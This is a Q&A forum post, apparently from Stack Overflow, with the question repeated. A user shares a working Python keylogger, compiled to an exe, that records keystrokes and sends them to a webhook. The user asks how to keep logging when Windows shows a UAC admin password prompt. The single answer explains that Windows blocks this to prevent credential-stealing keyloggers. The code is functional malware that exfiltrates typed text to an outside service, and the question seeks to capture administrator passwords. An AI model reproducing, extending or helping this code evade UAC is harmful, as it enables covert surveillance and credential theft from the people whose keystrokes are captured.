I have written a simple python script and I have compiled it into an exe, but every time I open an app and windows asks me for admin password, it stops working. How do I get around this?

import keyboard
from dhooks import Webhook
a = []
hook = Webhook("my webhook")
trf = False
while not trf:
    event = keyboard.read_event()
    if event.name == "f3" and event.event_type == keyboard.KEY_UP:
        trf = True
while True:
    event = keyboard.read_event()
    if event.event_type == keyboard.KEY_DOWN:
        a.append(event.name)
    if event.name == "f3":
        break
txt = ""
for i in a:
    if   i == "space"               :txt += " "
    elif i == "f3"                  :continue
    elif i == "shift"               :continue
    elif i == "ctrl"                :continue
    elif i == "backspace"           :txt = txt[:-1]
    elif i == "up" or i == "down"   :continue
    elif i == "left" or i == "right":continue
    elif i == "enter"               :txt += " <enter> \n"
    else                            :txt += i
hook.send(a)
hook.send(txt)

basically every time a uac window pops up the script stops listening to the keystrokes and returns nothing to the webhook

I have written a simple python script and I have compiled it into an exe, but every time I open an app and windows asks me for admin password, it stops working. How do I get around this?

import keyboard
from dhooks import Webhook
a = []
hook = Webhook("my webhook")
trf = False
while not trf:
    event = keyboard.read_event()
    if event.name == "f3" and event.event_type == keyboard.KEY_UP:
        trf = True
while True:
    event = keyboard.read_event()
    if event.event_type == keyboard.KEY_DOWN:
        a.append(event.name)
    if event.name == "f3":
        break
txt = ""
for i in a:
    if   i == "space"               :txt += " "
    elif i == "f3"                  :continue
    elif i == "shift"               :continue
    elif i == "ctrl"                :continue
    elif i == "backspace"           :txt = txt[:-1]
    elif i == "up" or i == "down"   :continue
    elif i == "left" or i == "right":continue
    elif i == "enter"               :txt += " <enter> \n"
    else                            :txt += i
hook.send(a)
hook.send(txt)

basically every time a uac window pops up the script stops listening to the keystrokes and returns nothing to the webhook

• python
• windows
• pyinstaller
• exe

1 Answer 1

Windows will not let your program read what the user types into a UAC prompt. It does not want you to be able to build a malicious keylogger and steal user credentials.

See this thread on the keyboard library issue tracker, which says the same thing.